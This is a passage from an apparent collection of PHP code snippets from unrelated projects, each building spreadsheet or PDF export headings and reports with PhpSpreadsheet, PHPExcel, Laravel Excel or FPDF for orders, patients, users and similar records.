browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "abstract function getheadings();", "public function headingRow(): int\n {\n return 1;\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n 